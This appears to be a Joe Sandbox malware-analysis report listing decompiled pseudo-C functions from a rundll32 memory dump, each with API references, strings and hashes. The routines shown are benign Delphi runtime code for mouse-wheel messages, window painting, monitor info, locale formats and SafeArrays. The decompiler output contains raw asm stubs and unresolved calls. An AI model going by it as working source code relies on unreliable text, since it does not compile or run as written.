Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: Object$CreateSelect$Compatible$BitmapDelete$ReleaseStretch
String ID:
API String ID: 644427674-0
Opcode ID: 8a208e4a72652f217da40183536372a34de70a9803469c113a6f13e52600ec97
Instruction ID: 39dfd54a86db05bcb9cc841ab1eef19acc9a198241cbed5c79116a32a1a4abfe
Opcode Fuzzy Hash: 8a208e4a72652f217da40183536372a34de70a9803469c113a6f13e52600ec97
Instruction Fuzzy Hash: FE41FA75A44609AFDB10EBE8DC46FAFB7BDAB89700F114415B704E7281D6B5AD008B60

Uniqueness

Uniqueness Score: -1.00%

Function 009D7688 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 61
registryclipboardwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E009D7688(intOrPtr* __eax, int* __edx, intOrPtr* _a4, intOrPtr* _a8) {
				intOrPtr* _v8;
				struct HWND__* _t19;
				int* _t20;
				int* _t26;
				int* _t27;

				_t26 = _t20;
				_t27 = __edx;
				_v8 = __eax;
				_t19 = FindWindowA("MouseZ", "Magellan MSWHEEL");
				 *_v8 = RegisterClipboardFormatA("MSWHEEL_ROLLMSG");
				 *_t27 = RegisterClipboardFormatA("MSH_WHEELSUPPORT_MSG");
				 *_t26 = RegisterClipboardFormatA("MSH_SCROLL_LINES_MSG");
				if( *_t27 == 0 || _t19 == 0) {
					 *_a8 = 0;
				} else {
					 *_a8 = SendMessageA(_t19,  *_t27, 0, 0);
				}
				if( *_t26 == 0 || _t19 == 0) {
					 *_a4 = 3;
				} else {
					 *_a4 = SendMessageA(_t19,  *_t26, 0, 0);
				}
				return _t19;
			}

0x009d768f
0x009d7691
0x009d7693
0x009d76a5
0x009d76b4
0x009d76c0
0x009d76cc
0x009d76d1
0x009d76f0
0x009d76d7
0x009d76e7
0x009d76e7
0x009d76f5
0x009d7712
0x009d76fb
0x009d770b
0x009d770b
0x009d771f

APIs

FindWindowA.USER32 ref: 009D76A0
RegisterClipboardFormatA.USER32(MSWHEEL_ROLLMSG), ref: 009D76AC
RegisterClipboardFormatA.USER32(MSH_WHEELSUPPORT_MSG), ref: 009D76BB
RegisterClipboardFormatA.USER32(MSH_SCROLL_LINES_MSG), ref: 009D76C7
SendMessageA.USER32 ref: 009D76DF
SendMessageA.USER32 ref: 009D7703

Strings

MSWHEEL_ROLLMSG, xrefs: 009D76A7
MSH_SCROLL_LINES_MSG, xrefs: 009D76C2
MouseZ, xrefs: 009D769B
Magellan MSWHEEL, xrefs: 009D7696
MSH_WHEELSUPPORT_MSG, xrefs: 009D76B6

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: ClipboardFormatRegister$MessageSend$FindWindow
String ID: MSH_SCROLL_LINES_MSG$MSH_WHEELSUPPORT_MSG$MSWHEEL_ROLLMSG$Magellan MSWHEEL$MouseZ
API String ID: 1416857345-3736581797
Opcode ID: 434bfcf8bf44bba298e23069d6b3f6e7ca76364a3b85def67f2c07d904298d85
Instruction ID: 3616d9f5828be6d80add0cb624ebcbbdb6d65d51d947f83807d57a0142f3b1a8
Opcode Fuzzy Hash: 434bfcf8bf44bba298e23069d6b3f6e7ca76364a3b85def67f2c07d904298d85
Instruction Fuzzy Hash: 11110A70288201AFE7119FE8CD82B6AF7E8EF85710F10D867F8448B381F6B09C408B60

Uniqueness

Uniqueness Score: -1.00%

Function 009FF5BC Relevance: 18.1, APIs: 12, Instructions: 142
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E009FF5BC(void* __eax, void* __ecx, intOrPtr __edx) {
				intOrPtr _v8;
				struct HDC__* _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				char _v56;
				char _v72;
				signed char _t43;
				signed int _t79;
				int _t80;
				int _t81;
				void* _t94;
				intOrPtr _t107;
				void* _t116;
				void* _t119;
				void* _t122;
				void* _t124;
				intOrPtr _t125;

				_t122 = _t124;
				_t125 = _t124 + 0xffffffbc;
				_t94 = __ecx;
				_v8 = __edx;
				_t116 = __eax;
				_t43 = GetWindowLongA(E00A20FC0(_v8), 0xffffffec);
				if((_t43 & 0x00000002) == 0) {
					return _t43;
				} else {
					GetWindowRect(E00A20FC0(_v8),  &_v44);
					OffsetRect( &_v44,  ~(_v44.left),  ~(_v44.top));
					_v12 = GetWindowDC(E00A20FC0(_v8));
					_push(_t122);
					_push(0x9ff717);
					_push( *[fs:edx]);
					 *[fs:edx] = _t125;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t119 = _t116;
					if(_t94 != 0) {
						_t79 = GetWindowLongA(E00A20FC0(_v8), 0xfffffff0);
						if((_t79 & 0x00100000) != 0 && (_t79 & 0x00200000) != 0) {
							_t80 = GetSystemMetrics(2);
							_t81 = GetSystemMetrics(3);
							InflateRect( &_v28, 0xfffffffe, 0xfffffffe);
							E009EA228(_v28.right - _t80, _v28.right, _v28.bottom - _t81,  &_v72, _v28.bottom);
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							_t119 = _t119;
							FillRect(_v12,  &_v28, GetSysColorBrush(0xf));
						}
					}
					ExcludeClipRect(_v12, _v44.left + 2, _v44.top + 2, _v44.right - 2, _v44.bottom - 2);
					E009FF1F4( &_v56, 2);
					E009FF148(_t119,  &_v56, _v12, 0,  &_v44);
					_pop(_t107);
					 *[fs:eax] = _t107;
					_push(0x9ff71e);
					return ReleaseDC(E00A20FC0(_v8), _v12);
				}
			}

0x009ff5bd
0x009ff5bf
0x009ff5c5
0x009ff5c7
0x009ff5ca
0x009ff5d7
0x009ff5df
0x009ff724
0x009ff5e5
0x009ff5f2
0x009ff607
0x009ff61a
0x009ff61f
0x009ff620
0x009ff625
0x009ff628
0x009ff632
0x009ff633
0x009ff634
0x009ff635
0x009ff636
0x009ff639
0x009ff646
0x009ff650
0x009ff65b
0x009ff664
0x009ff673
0x009ff68d
0x009ff699
0x009ff69a
0x009ff69b
0x009ff69c
0x009ff69d
0x009ff6ae
0x009ff6ae
0x009ff650
0x009ff6d3
0x009ff6df
0x009ff6f2
0x009ff6f9
0x009ff6fc
0x009ff6ff
0x009ff716
0x009ff716

APIs

GetWindowLongA.USER32 ref: 009FF5D7
GetWindowRect.USER32 ref: 009FF5F2
OffsetRect.USER32(?,?,?), ref: 009FF607
GetWindowDC.USER32(00000000,?,?,?,00000000,?,00000000,000000EC), ref: 009FF615
GetWindowLongA.USER32 ref: 009FF646
GetSystemMetrics.USER32 ref: 009FF65B
GetSystemMetrics.USER32 ref: 009FF664
InflateRect.USER32(?,000000FE,000000FE), ref: 009FF673
GetSysColorBrush.USER32(0000000F), ref: 009FF6A0
FillRect.USER32 ref: 009FF6AE
ExcludeClipRect.GDI32(?,?,?,?,?,00000000,009FF717,?,00000000,?,?,?,00000000,?,00000000,000000EC), ref: 009FF6D3
ReleaseDC.USER32 ref: 009FF711

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: Rect$Window$LongMetricsSystem$BrushClipColorExcludeFillInflateOffsetRelease
String ID:
API String ID: 19621357-0
Opcode ID: fb0f3feb3c1e13e373703dd76bbfe4f091bcd5bb0b992b146ba6923864142fa6
Instruction ID: 7e54c6f45c62aad227972d6ae55ecb82deacca8880a95cdf11bb8a2a686553a0
Opcode Fuzzy Hash: fb0f3feb3c1e13e373703dd76bbfe4f091bcd5bb0b992b146ba6923864142fa6
Instruction Fuzzy Hash: 43412E71A44158ABDB11EAECDD42EEEF7BDEF89310F104161FA14F7292DA30AE058760

Uniqueness

Uniqueness Score: -1.00%

Function 009FA030 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E009FA030(struct HDC__* _a4, RECT* _a8, _Unknown_base(*)()* _a12, long _a16) {
				struct tagPOINT _v12;
				int _v16;
				struct tagRECT _v32;
				struct tagRECT _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t60;
				int _t61;
				RECT* _t64;
				struct HDC__* _t65;

				_t64 = _a8;
				_t65 = _a4;
				if( *0xa9f923 != 0) {
					_t61 = 0;
					if(_a12 == 0) {
						L14:
						return _t61;
					}
					_v32.left = 0;
					_v32.top = 0;
					_v32.right = GetSystemMetrics(0);
					_v32.bottom = GetSystemMetrics(1);
					if(_t65 == 0) {
						if(_t64 == 0 || IntersectRect( &_v32,  &_v32, _t64) != 0) {
							L13:
							_t61 = _a12(0x12340042, _t65,  &_v32, _a16);
						} else {
							_t61 = 1;
						}
						goto L14;
					}
					_v16 = GetClipBox(_t65,  &_v48);
					if(GetDCOrgEx(_t65,  &_v12) == 0) {
						goto L14;
					}
					OffsetRect( &_v32,  ~(_v12.x),  ~(_v12.y));
					if(IntersectRect( &_v32,  &_v32,  &_v48) == 0 || _t64 != 0) {
						if(IntersectRect( &_v32,  &_v32, _t64) != 0) {
							goto L13;
						}
						if(_v16 == 1) {
							_t61 = 1;
						}
						goto L14;
					} else {
						goto L13;
					}
				}
				 *0xa9f910 = E009F9A84(7, _t60,  *0xa9f910, _t64, _t65);
				_t61 = EnumDisplayMonitors(_t65, _t64, _a12, _a16);
				goto L14;
			}

0x009fa039
0x009fa03c
0x009fa046
0x009fa076
0x009fa07c
0x009fa138
0x009fa140
0x009fa140
0x009fa084
0x009fa089
0x009fa094
0x009fa09f
0x009fa0a4
0x009fa10d
0x009fa125
0x009fa136
0x009fa121
0x009fa121
0x009fa121
0x00000000
0x009fa10d
0x009fa0b0
0x009fa0bf
0x00000000
0x00000000
0x009fa0d1
0x009fa0e9
0x009fa0ff
0x00000000
0x00000000
0x009fa105
0x009fa107
0x009fa107
0x00000000
0x00000000
0x00000000
0x00000000
0x009fa0e9
0x009fa05a
0x009fa06f
0x00000000

APIs

EnumDisplayMonitors.USER32(?,?,?,?), ref: 009FA069
GetSystemMetrics.USER32 ref: 009FA08E
GetSystemMetrics.USER32 ref: 009FA099
GetClipBox.GDI32(?,?), ref: 009FA0AB
GetDCOrgEx.GDI32(?,?), ref: 009FA0B8
OffsetRect.USER32(?,?,?), ref: 009FA0D1
IntersectRect.USER32 ref: 009FA0E2
IntersectRect.USER32 ref: 009FA0F8

Part of subcall function 009F9A84: GetProcAddress.KERNEL32(75BA0000,00000000), ref: 009F9B04

Strings

EnumDisplayMonitors, xrefs: 009FA048

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: Rect$IntersectMetricsSystem$AddressClipDisplayEnumMonitorsOffsetProc
String ID: EnumDisplayMonitors
API String ID: 362875416-2491903729
Opcode ID: f703a38f16ad2bc9e8b0f2fbc2833bb54e4c96d0b36c0324f0231a346dcd6c61
Instruction ID: 1116a5fff17c4904c956a71856d2a5622545069c218953a91afdb4a3282e3445
Opcode Fuzzy Hash: f703a38f16ad2bc9e8b0f2fbc2833bb54e4c96d0b36c0324f0231a346dcd6c61
Instruction Fuzzy Hash: 1231CDB1A0420DAEDB10DFE4DC84AFFB7BCAB49310F158526FA15D2241EB35D9058BA1

Uniqueness

Uniqueness Score: -1.00%

Function 009DD284 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201
threadCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E009DD284(void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				void* _t104;
				void* _t111;
				void* _t133;
				intOrPtr _t183;
				intOrPtr _t193;
				intOrPtr _t194;

				_t191 = __esi;
				_t190 = __edi;
				_t193 = _t194;
				_t133 = 8;
				do {
					_push(0);
					_push(0);
					_t133 = _t133 - 1;
				} while (_t133 != 0);
				_push(__ebx);
				_push(_t193);
				_push(0x9dd54f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t194;
				E009DD110();
				E009DBAB8(__ebx, __edi, __esi);
				_t196 =  *0xa9f750;
				if( *0xa9f750 != 0) {
					E009DBC90(__esi, _t196);
				}
				_t132 = GetThreadLocale();
				E009DBA08(_t43, 0, 0x14,  &_v20);
				E009D427C(0xa9f684, _v20);
				E009DBA08(_t43, 0x9dd564, 0x1b,  &_v24);
				 *0xa9f688 = E009D8C68(0x9dd564, 0, _t196);
				E009DBA08(_t132, 0x9dd564, 0x1c,  &_v28);
				 *0xa9f689 = E009D8C68(0x9dd564, 0, _t196);
				 *0xa9f68a = E009DBA54(_t132, 0x2c, 0xf);
				 *0xa9f68b = E009DBA54(_t132, 0x2e, 0xe);
				E009DBA08(_t132, 0x9dd564, 0x19,  &_v32);
				 *0xa9f68c = E009D8C68(0x9dd564, 0, _t196);
				 *0xa9f68d = E009DBA54(_t132, 0x2f, 0x1d);
				E009DBA08(_t132, "m/d/yy", 0x1f,  &_v40);
				E009DBD40(_v40, _t132,  &_v36, _t190, _t191, _t196);
				E009D427C(0xa9f690, _v36);
				E009DBA08(_t132, "mmmm d, yyyy", 0x20,  &_v48);
				E009DBD40(_v48, _t132,  &_v44, _t190, _t191, _t196);
				E009D427C(0xa9f694, _v44);
				 *0xa9f698 = E009DBA54(_t132, 0x3a, 0x1e);
				E009DBA08(_t132, 0x9dd598, 0x28,  &_v52);
				E009D427C(0xa9f69c, _v52);
				E009DBA08(_t132, 0x9dd5a4, 0x29,  &_v56);
				E009D427C(0xa9f6a0, _v56);
				E009D4228( &_v12);
				E009D4228( &_v16);
				E009DBA08(_t132, 0x9dd564, 0x25,  &_v60);
				_t104 = E009D8C68(0x9dd564, 0, _t196);
				_t197 = _t104;
				if(_t104 != 0) {
					E009D42C0( &_v8, 0x9dd5bc);
				} else {
					E009D42C0( &_v8, 0x9dd5b0);
				}
				E009DBA08(_t132, 0x9dd564, 0x23,  &_v64);
				_t111 = E009D8C68(0x9dd564, 0, _t197);
				_t198 = _t111;
				if(_t111 == 0) {
					E009DBA08(_t132, 0x9dd564, 0x1005,  &_v68);
					if(E009D8C68(0x9dd564, 0, _t198) != 0) {
						E009D42C0( &_v12, 0x9dd5d8);
					} else {
						E009D42C0( &_v16, 0x9dd5c8);
					}
				}
				_push(_v12);
				_push(_v8);
				_push(":mm");
				_push(_v16);
				E009D45A8();
				_push(_v12);
				_push(_v8);
				_push(":mm:ss");
				_push(_v16);
				E009D45A8();
				 *0xa9f752 = E009DBA54(_t132, 0x2c, 0xc);
				_pop(_t183);
				 *[fs:eax] = _t183;
				_push(0x9dd556);
				return E009D424C( &_v68, 0x10);
			}

0x009dd284
0x009dd284
0x009dd285
0x009dd287
0x009dd28c
0x009dd28c
0x009dd28e
0x009dd290
0x009dd290
0x009dd293
0x009dd296
0x009dd297
0x009dd29c
0x009dd29f
0x009dd2a2
0x009dd2a7
0x009dd2ac
0x009dd2b3
0x009dd2b5
0x009dd2b5
0x009dd2bf
0x009dd2ce
0x009dd2db
0x009dd2f0
0x009dd2ff
0x009dd314
0x009dd323
0x009dd336
0x009dd349
0x009dd35e
0x009dd36d
0x009dd380
0x009dd395
0x009dd3a0
0x009dd3ad
0x009dd3c2
0x009dd3cd
0x009dd3da
0x009dd3ed
0x009dd402
0x009dd40f
0x009dd424
0x009dd431
0x009dd439
0x009dd441
0x009dd456
0x009dd460
0x009dd465
0x009dd467
0x009dd480
0x009dd469
0x009dd471
0x009dd471
0x009dd495
0x009dd49f
0x009dd4a4
0x009dd4a6
0x009dd4b8
0x009dd4c9
0x009dd4e2
0x009dd4cb
0x009dd4d3
0x009dd4d3
0x009dd4c9
0x009dd4e7
0x009dd4ea
0x009dd4ed
0x009dd4f2
0x009dd4ff
0x009dd504
0x009dd507
0x009dd50a
0x009dd50f
0x009dd51c
0x009dd52f
0x009dd536
0x009dd539
0x009dd53c
0x009dd54e

APIs

GetThreadLocale.KERNEL32(00000000,009DD54F,?,?,00000000,00000000), ref: 009DD2BA

Part of subcall function 009DBA08: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 009DBA26

Strings

AMPM, xrefs: 009DD4CE
:mm:ss, xrefs: 009DD50A
m/d/yy, xrefs: 009DD389
mmmm d, yyyy, xrefs: 009DD3B6
:mm, xrefs: 009DD4ED
AMPM , xrefs: 009DD4DD

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: e8119fbef2f2584a13887a0910f5a6e13d1974f38e4e070020298d4c1afacb66
Instruction ID: 9c63e3f547a5e8ff92f6ceb715320b453945cdf9d31974904985d289c525ff50
Opcode Fuzzy Hash: e8119fbef2f2584a13887a0910f5a6e13d1974f38e4e070020298d4c1afacb66
Instruction Fuzzy Hash: 18612E747812889BDB10EBF8D881B9E76EADBD9340F51D437F204EB35ACA34D9059B50

Uniqueness

Uniqueness Score: -1.00%

Function 009DFB3C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E009DFB3C(short* __eax, intOrPtr __ecx, intOrPtr* __edx) {
				char _v260;
				char _v768;
				char _v772;
				short* _v776;
				intOrPtr _v780;
				char _v784;
				signed int _v788;
				signed short* _v792;
				char _v796;
				char _v800;
				intOrPtr* _v804;
				void* __ebp;
				signed char _t47;
				signed int _t54;
				void* _t62;
				intOrPtr* _t73;
				intOrPtr* _t91;
				void* _t93;
				void* _t95;
				void* _t98;
				void* _t99;
				intOrPtr* _t108;
				void* _t112;
				intOrPtr _t113;
				char* _t114;
				void* _t115;

				_t100 = __ecx;
				_v780 = __ecx;
				_t91 = __edx;
				_v776 = __eax;
				if(( *(__edx + 1) & 0x00000020) == 0) {
					E009DF6E4(0x80070057);
				}
				_t47 =  *_t91;
				if((_t47 & 0x00000fff) != 0xc) {
					_push(_t91);
					_push(_v776);
					L009DE2FC();
					return E009DF6E4(_v776);
				} else {
					if((_t47 & 0x00000040) == 0) {
						_v792 =  *((intOrPtr*)(_t91 + 8));
					} else {
						_v792 =  *((intOrPtr*)( *((intOrPtr*)(_t91 + 8))));
					}
					_v788 =  *_v792 & 0x0000ffff;
					_t93 = _v788 - 1;
					if(_t93 < 0) {
						L9:
						_push( &_v772);
						_t54 = _v788;
						_push(_t54);
						_push(0xc);
						L009DE758();
						_t113 = _t54;
						if(_t113 == 0) {
							E009DF43C(_t100);
						}
						E009DFA94(_v776);
						 *_v776 = 0x200c;
						 *((intOrPtr*)(_v776 + 8)) = _t113;
						_t95 = _v788 - 1;
						if(_t95 < 0) {
							L14:
							_t97 = _v788 - 1;
							if(E009DFAB0(_v788 - 1, _t115) != 0) {
								L009DE790();
								E009DF6E4(_v792);
								L009DE790();
								E009DF6E4( &_v260);
								_v780(_t113,  &_v260,  &_v800, _v792,  &_v260,  &_v796);
							}
							_t62 = E009DFAE0(_t97, _t115);
						} else {
							_t98 = _t95 + 1;
							_t73 =  &_v768;
							_t108 =  &_v260;
							do {
								 *_t108 =  *_t73;
								_t108 = _t108 + 4;
								_t73 = _t73 + 8;
								_t98 = _t98 - 1;
							} while (_t98 != 0);
							do {
								goto L14;
							} while (_t62 != 0);
							return _t62;
						}
					} else {
						_t99 = _t93 + 1;
						_t112 = 0;
						_t114 =  &_v772;
						do {
							_v804 = _t114;
							_push(_v804 + 4);
							_t18 = _t112 + 1; // 0x1
							_push(_v792);
							L009DE760();
							E009DF6E4(_v792);
							_push( &_v784);
							_t21 = _t112 + 1; // 0x1
							_push(_v792);
							L009DE768();
							E009DF6E4(_v792);
							 *_v804 = _v784 -  *((intOrPtr*)(_v804 + 4)) + 1;
							_t112 = _t112 + 1;
							_t114 = _t114 + 8;
							_t99 = _t99 - 1;
						} while (_t99 != 0);
						goto L9;
					}
				}
			}

0x009dfb3c
0x009dfb48
0x009dfb4e
0x009dfb50
0x009dfb5a
0x009dfb61
0x009dfb61
0x009dfb66
0x009dfb74
0x009dfced
0x009dfcf4
0x009dfcf5
0x00000000
0x009dfb7a
0x009dfb7d
0x009dfb8f
0x009dfb7f
0x009dfb84
0x009dfb84
0x009dfb9e
0x009dfbaa
0x009dfbad
0x009dfc1a
0x009dfc20
0x009dfc21
0x009dfc27
0x009dfc28
0x009dfc2a
0x009dfc2f
0x009dfc33
0x009dfc35
0x009dfc35
0x009dfc40
0x009dfc4b
0x009dfc56
0x009dfc5f
0x009dfc62
0x009dfc7e
0x009dfc85
0x009dfc90
0x009dfca7
0x009dfcac
0x009dfcc0
0x009dfcc5
0x009dfcd8
0x009dfcd8
0x009dfce1
0x009dfc64
0x009dfc64
0x009dfc65
0x009dfc6b
0x009dfc71
0x009dfc73
0x009dfc75
0x009dfc78
0x009dfc7b
0x009dfc7b
0x009dfc7e
0x00000000
0x00000000
0x00000000
0x009dfc7e
0x009dfbaf
0x009dfbaf
0x009dfbb0
0x009dfbb2
0x009dfbb8
0x009dfbba
0x009dfbc9
0x009dfbca
0x009dfbd4
0x009dfbd5
0x009dfbda
0x009dfbe5
0x009dfbe6
0x009dfbf0
0x009dfbf1
0x009dfbf6
0x009dfc11
0x009dfc13
0x009dfc14
0x009dfc17
0x009dfc17
0x00000000
0x009dfbb8
0x009dfbad

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 009DFBD5
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 009DFBF1
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 009DFC2A
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 009DFCA7
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 009DFCC0
VariantCopy.OLEAUT32(?), ref: 009DFCF5

Strings

, xrefs: 009DFB56

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-3916222277
Opcode ID: 1637a73e56f6c814b651d0282bdc9763110833d29606e8994f0fda8ef278c806
Instruction ID: 418c25d341125c403cd44df2ddf3aba86ef420bae14465ef59bc9772b17e31fe
Opcode Fuzzy Hash: 1637a73e56f6c814b651d0282bdc9763110833d29606e8994f0fda8ef278c806
Instruction Fuzzy Hash: 2851FD7594062D9BCB62EF68CC92BD9B3BCAF58300F4081E6E549E7312D6349F858F64

Uniqueness

Uniqueness Score: -1.00%

Function 009F9DB4 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E009F9DB4(struct HMONITOR__* _a4, struct tagMONITORINFO* _a8) {
				void _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t23;
				int _t24;
				struct HMONITOR__* _t27;
				struct tagMONITORINFO* _t29;
				intOrPtr* _t31;

				_t29 = _a8;
				_t27 = _a4;
				if( *0xa9f920 != 0) {
					_t24 = 0;
					if(_t27 == 0x12340042 && _t29 != 0 && _t29->cbSize >= 0x28 && SystemParametersInfoA(0x30, 0,  &_v20, 0) != 0) {
						_t29->rcMonitor.left = 0;
						_t29->rcMonitor.top = 0;
						_t29->rcMonitor.right = GetSystemMetrics(0);
						_t29->rcMonitor.bottom = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t31 = _t29;
						 *(_t31 + 0x24) = 1;
						if( *_t31 >= 0x4c) {
							_push("DISPLAY");
							_push(_t31 + 0x28);
							L009D6E54();
						}
						_t24 = 1;
					}
				} else {
					 *0xa9f904 = E009F9A84(4, _t23,  *0xa9f904, _t27, _t29);
					_t24 = GetMonitorInfoA(_t27, _t29);
				}
				return _t24;
			}

0x009f9dbd
0x009f9dc0
0x009f9dca
0x009f9def
0x009f9df7
0x009f9e17
0x009f9e1c
0x009f9e27
0x009f9e32
0x009f9e3c
0x009f9e3d
0x009f9e3e
0x009f9e3f
0x009f9e40
0x009f9e41
0x009f9e4b
0x009f9e4d
0x009f9e55
0x009f9e56
0x009f9e56
0x009f9e5b
0x009f9e5b
0x009f9dcc
0x009f9dde
0x009f9deb
0x009f9deb
0x009f9e65

APIs

GetMonitorInfoA.USER32(?,?), ref: 009F9DE5
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 009F9E0C
GetSystemMetrics.USER32 ref: 009F9E21
GetSystemMetrics.USER32 ref: 009F9E2C
lstrcpy.KERNEL32(?,DISPLAY), ref: 009F9E56

Part of subcall function 009F9A84: GetProcAddress.KERNEL32(75BA0000,00000000), ref: 009F9B04

Strings

GetMonitorInfo, xrefs: 009F9DCC
DISPLAY, xrefs: 009F9E4D

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: System$InfoMetrics$AddressMonitorParametersProclstrcpy
String ID: DISPLAY$GetMonitorInfo
API String ID: 1539801207-1633989206
Opcode ID: 9b7c26d5da53aa4f38ce1880be39cb8e195b05febdf206456be1cad6aba561ef
Instruction ID: 17dda07681fbce51ae4cfc8ad5802af4384d27bb7311dec3fc1cc359048c0f34
Opcode Fuzzy Hash: 9b7c26d5da53aa4f38ce1880be39cb8e195b05febdf206456be1cad6aba561ef
Instruction Fuzzy Hash: 3611E231701309AFD720DFA5DC44BB7B7E9EB85B10F10492AEE59CB290D770A844CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 009D40AC Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38
filewindowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E009D40AC(void* __ecx) {
				long _v4;
				int _t3;

				if( *0xa9f04c == 0) {
					if( *0xa9c030 == 0) {
						_t3 = MessageBoxA(0, "Runtime error     at 00000000", "Error", 0);
					}
					return _t3;
				} else {
					if( *0xa9f220 == 0xd7b2 &&  *0xa9f228 > 0) {
						 *0xa9f238();
					}
					WriteFile(GetStdHandle(0xfffffff5), "Runtime error     at 00000000", 0x1e,  &_v4, 0);
					return WriteFile(GetStdHandle(0xfffffff5), E009D4134, 2,  &_v4, 0);
				}
			}

0x009d40b4
0x009d4114
0x009d4124
0x009d4124
0x009d412a
0x009d40b6
0x009d40bf
0x009d40cf
0x009d40cf
0x009d40eb
0x009d410c
0x009d410c

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,00A9B89C,00000000,?,009D417A,?,?,00A9F638,?,?,00A9C0BC,009D6835,00A9B89C), ref: 009D40E5
